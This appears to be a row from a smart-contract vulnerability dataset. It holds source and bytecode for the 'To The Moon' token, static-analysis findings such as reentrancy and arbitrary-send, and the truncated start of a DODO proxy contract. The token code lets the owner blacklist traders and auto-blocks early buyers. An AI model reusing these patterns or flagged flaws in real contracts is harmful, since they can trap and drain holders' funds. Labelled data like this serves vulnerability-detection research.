_owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TTM is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "To The Moon"; string private constant _symbol = 'TTM'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 16; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private launchBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (block.number == launchBlock || block.number == launchBlock + 1) { bots[to] = true; bots[tx.origin] = true; } if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012d5760003560e01c8063715018a6116100a5578063b515566a11610074578063c9567bf911610059578063c9567bf9146104a7578063d543dbeb146104bc578063dd62ed3e146104e657610134565b8063b515566a146103e2578063c3c8cd801461049257610134565b8063715018a61461034e5780638da5cb5b1461036357806395d89b4114610394578063a9059cbb146103a957610134565b8063273123b7116100fc5780635932ead1116100e15780635932ead1146102da5780636fc3eaec1461030657806370a082311461031b57610134565b8063273123b71461027a578063313ce567146102af57610134565b806306fdde0314610139578063095ea7b3146101c357806318160ddd1461021057806323b872dd1461023757610134565b3661013457005b600080fd5b34801561014557600080fd5b5061014e610521565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610188578181015183820152602001610170565b50505050905090810190601f1680156101b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cf57600080fd5b506101fc600480360360408110156101e657600080fd5b506001600160a01b038135169060200135610558565b604080519115158252519081900360200190f35b34801561021c57600080fd5b50610225610576565b60408051918252519081900360200190f35b34801561024357600080fd5b506101fc6004803603606081101561025a57600080fd5b506001600160a01b03813581169160208101359091169060400135610583565b34801561028657600080fd5b506102ad6004803603602081101561029d57600080fd5b50356001600160a01b031661060a565b005b3480156102bb57600080fd5b506102c46106b3565b6040805160ff9092168252519081900360200190f35b3480156102e657600080fd5b506102ad600480360360208110156102fd57600080fd5b503515156106b8565b34801561031257600080fd5b506102ad61076f565b34801561032757600080fd5b506102256004803603602081101561033e57600080fd5b50356001600160a01b03166107a3565b34801561035a57600080fd5b506102ad61080d565b34801561036f57600080fd5b506103786108d9565b604080516001600160a01b039092168252519081900360200190f35b3480156103a057600080fd5b5061014e6108e8565b3480156103b557600080fd5b506101fc600480360360408110156103cc57600080fd5b506001600160a01b03813516906020013561091f565b3480156103ee57600080fd5b506102ad6004803603602081101561040557600080fd5b81019060208101813564010000000081111561042057600080fd5b82018360208201111561043257600080fd5b8035906020019184602083028401116401000000008311171561045457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610933945050505050565b34801561049e57600080fd5b506102ad610a17565b3480156104b357600080fd5b506102ad610a54565b3480156104c857600080fd5b506102ad600480360360208110156104df57600080fd5b5035610f8c565b3480156104f257600080fd5b506102256004803603604081101561050957600080fd5b506001600160a01b03813581169160200135166110a3565b60408051808201909152600b81527f546f20546865204d6f6f6e000000000000000000000000000000000000000000602082015290565b600061056c6105656110ce565b84846110d2565b5060015b92915050565b683635c9adc5dea0000090565b60006105908484846111be565b6106008461059c6110ce565b6105fb85604051806060016040528060288152602001612379602891396001600160a01b038a166000908152600460205260408120906105da6110ce565b6001600160a01b03168152602081019190915260400160002054919061165e565b6110d2565b5060019392505050565b6106126110ce565b6000546001600160a01b03908116911614610674576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0316600090815260076020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600990565b6106c06110ce565b6000546001600160a01b03908116911614610722576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6013805491151577010000000000000000000000000000000000000000000000027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6010546001600160a01b03166107836110ce565b6001600160a01b03161461079657600080fd5b476107a0816116f5565b50565b6001600160a01b03811660009081526006602052604081205460ff16156107e357506001600160a01b038116600090815260036020526040902054610808565b6001600160a01b0382166000908152600260205260409020546108059061177a565b90505b919050565b6108156110ce565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60408051808201909152600381527f54544d0000000000000000000000000000000000000000000000000000000000602082015290565b600061056c61092c6110ce565b84846111be565b61093b6110ce565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a13576001600760008484815181106109bb57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790556001016109a0565b5050565b6010546001600160a01b0316610a2b6110ce565b6001600160a01b031614610a3e57600080fd5b6000610a49306107a3565b90506107a0816117da565b610a5c6110ce565b6000546001600160a01b03908116911614610abe576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60135474010000000000000000000000000000000000000000900460ff1615610b2e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280547fffffffffffffffffffffffff000000000000000000000000000000000000000016737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b8f9030906001600160a01b0316683635c9adc5dea000006110d2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b5051604080517fad5c464800000000000000000000000000000000000000000000000000000000815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c5b57600080fd5b505afa158015610c6f573d6000803e3d6000fd5b505050506040513d6020811015610c8557600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b5051601380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039283161790556012541663f305d7194730610d63816107a3565b600080610d6e6108d9565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b50505050506040513d6060811015610e0457600080fd5b505060138054673afb087b876900006014557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff9092167601000000000000000000000000000000000000000000001791909116770100000000000000000000000000000000000000000000001716740100000000000000000000000000000000000000001790819055601254604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0392831660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b505050565b610f946110ce565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6110696064611063683635c9adc5dea0000084611a22565b90611a7b565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166111175760405162461bcd60e51b81526004018080602001828103825260248152602001806123ef6024913960400191505060405180910390fd5b6001600160a01b03821661115c5760405162461bcd60e51b81526004018080602001828103825260228152602001806123366022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112035760405162461bcd60e51b81526004018080602001828103825260258152602001806123ca6025913960400191505060405180910390fd5b6001600160a01b0382166112485760405162461bcd60e51b81526004018080602001828103825260238152602001806122e96023913960400191505060405180910390fd5b600081116112875760405162461bcd60e51b81526004018080602001828103825260298152602001806123a16029913960400191505060405180910390fd5b61128f6108d9565b6001600160a01b0316836001600160a01b0316141580156112c957506112b36108d9565b6001600160a01b0316826001600160a01b031614155b15611601576015544314806112e2575060155460010143145b1561133f576001600160a01b038216600090815260076020526040808220805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00918216811790925532845291909220805490911690911790555b60135477010000000000000000000000000000000000000000000000900460ff1615611454576001600160a01b038316301480159061138757506001600160a01b0382163014155b80156113a157506012546001600160a01b03848116911614155b80156113bb57506012546001600160a01b03838116911614155b15611454576012546001600160a01b03166113d46110ce565b6001600160a01b0316148061140357506013546001600160a01b03166113f86110ce565b6001600160a01b0316145b611454576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60145481111561146357600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156114a557506001600160a01b03821660009081526007602052604090205460ff16155b6114ae57600080fd5b6013546001600160a01b0384811691161480156114d957506012546001600160a01b03838116911614155b80156114fe57506001600160a01b03821660009081526005602052604090205460ff16155b8015611527575060135477010000000000000000000000000000000000000000000000900460ff165b1561156f576001600160a01b038216600090815260086020526040902054421161155057600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061157a306107a3565b6013549091507501000000000000000000000000000000000000000000900460ff161580156115b757506013546001600160a01b03858116911614155b80156115df5750601354760100000000000000000000000000000000000000000000900460ff165b156115ff576115ed816117da565b4780156115fd576115fd476116f5565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061164357506001600160a01b03831660009081526005602052604090205460ff165b1561164c575060005b61165884848484611abd565b50505050565b600081848411156116ed5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116b257818101518382015260200161169a565b50505050905090810190601f1680156116df5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc61170f836002611a7b565b6040518115909202916000818181858888f19350505050158015611737573d6000803e3d6000fd5b506011546001600160a01b03166108fc611752836002611a7b565b6040518115909202916000818181858888f19350505050158015610a13573d6000803e3d6000fd5b6000600a548211156117bd5760405162461bcd60e51b815260040180806020018281038252602a81526020018061230c602a913960400191505060405180910390fd5b60006117c7611bd9565b90506117d38382611a7b565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1675010000000000000000000000000000000000000000001790556040805160028082526060808301845292602083019080368337019050509050308160008151811061184857fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156118b557600080fd5b505afa1580156118c9573d6000803e3d6000fd5b505050506040513d60208110156118df57600080fd5b50518151829060019081106118f057fe5b6001600160a01b03928316602091820292909201015260125461191691309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156119b557818101518382015260200161199d565b505050509050019650505050505050600060405180830381600087803b1580156119de57600080fd5b505af11580156119f2573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b600082611a3157506000610570565b82820282848281611a3e57fe5b04146117d35760405162461bcd60e51b81526004018080602001828103825260218152602001806123586021913960400191505060405180910390fd5b60006117d383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bfc565b80611aca57611aca611c61565b6001600160a01b03841660009081526006602052604090205460ff168015611b0b57506001600160a01b03831660009081526006602052604090205460ff16155b15611b2057611b1b848484611c93565b611bcc565b6001600160a01b03841660009081526006602052604090205460ff16158015611b6157506001600160a01b03831660009081526006602052604090205460ff165b15611b7157611b1b848484611db7565b6001600160a01b03841660009081526006602052604090205460ff168015611bb157506001600160a01b03831660009081526006602052604090205460ff165b15611bc157611b1b848484611e60565b611bcc848484611ed3565b8061165857611658611f17565b6000806000611be6611f25565b9092509050611bf58282611a7b565b9250505090565b60008183611c4b5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156116b257818101518382015260200161169a565b506000838581611c5757fe5b0495945050505050565b600c54158015611c715750600d54155b15611c7b57611c91565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611ca5876120a4565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611cd79088612101565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611d069087612101565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611d359086612143565b6001600160a01b038916600090815260026020526040902055611d578161219d565b611d618483612225565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611dc9876120a4565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611dfb9087612101565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611e319084612143565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611d359086612143565b600080600080600080611e72876120a4565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611ea49088612101565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611dfb9087612101565b600080600080600080611ee5876120a4565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d069087612101565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b60095481101561206457826002600060098481548110611f5557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611fba5750816003600060098481548110611f9357fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611fd857600a54683635c9adc5dea00000945094505050506120a0565b6120186002600060098481548110611fec57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612101565b925061205a600360006009848154811061202e57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612101565b9150600101611f39565b50600a5461207b90683635c9adc5dea00000611a7b565b82101561209a57600a54683635c9adc5dea000009350935050506120a0565b90925090505b9091565b60008060008060008060008060006120c18a600c54600d54612249565b92509250925060006120d1611bd9565b905060008060006120e48e878787612298565b919e509c509a509598509396509194505050505091939550919395565b60006117d383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165e565b6000828201838110156117d3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006121a7611bd9565b905060006121b58383611a22565b306000908152600260205260409020549091506121d29082612143565b3060009081526002602090815260408083209390935560069052205460ff1615610f8757306000908152600360205260409020546122109084612143565b30600090815260036020526040902055505050565b600a546122329083612101565b600a55600b546122429082612143565b600b555050565b600080808061225d60646110638989611a22565b9050600061227060646110638a89611a22565b90506000612288826122828b86612101565b90612101565b9992985090965090945050505050565b60008080806122a78886611a22565b905060006122b58887611a22565b905060006122c38888611a22565b905060006122d5826122828686612101565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220987e79e22044d38bddea57781f2ce1bc326ab1d6eae00ff368eeb9c277c8994064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,267
0xa3cA30a7D523959fDDF7C9800C7121211B559D24
// File: contracts/intf/IDODOApprove.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; interface IDODOApprove { function claimTokens(address token,address who,address dest,uint256 amount) external; function getDODOProxy() external view returns (address); } // File: contracts/lib/InitializableOwnable.sol /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/SmartRoute/DODOApproveProxy.sol interface IDODOApproveProxy { function isAllowedProxy(address _proxy) external view returns (bool); function claimTokens(address token,address who,address dest,uint256 amount) external; } /** * @title DODOApproveProxy * @author DODO Breeder * * @notice Allow different version dodoproxy to claim from DODOApprove */ contract DODOApproveProxy is InitializableOwnable { // ============ Storage ============ uint256 private constant _TIMELOCK_DURATION_ = 3 days; mapping (address => bool) public _IS_ALLOWED_PROXY_; uint256 public _TIMELOCK_; address public _PENDING_ADD_DODO_PROXY_; address public immutable _DODO_APPROVE_; // ============ Modifiers ============ modifier notLocked() { require( _TIMELOCK_ <= block.timestamp, "SetProxy is timelocked" ); _; } constructor(address dodoApporve) public { _DODO_APPROVE_ = dodoApporve; } function init(address owner, address[] memory proxies) external { initOwner(owner); for(uint i = 0; i < proxies.length; i++) _IS_ALLOWED_PROXY_[proxies[i]] = true; } function unlockAddProxy(address newDodoProxy) public onlyOwner { _TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_; _PENDING_ADD_DODO_PROXY_ = newDodoProxy; } function lockAddProxy() public onlyOwner { _PENDING_ADD_DODO_PROXY_ = address(0); _TIMELOCK_ = 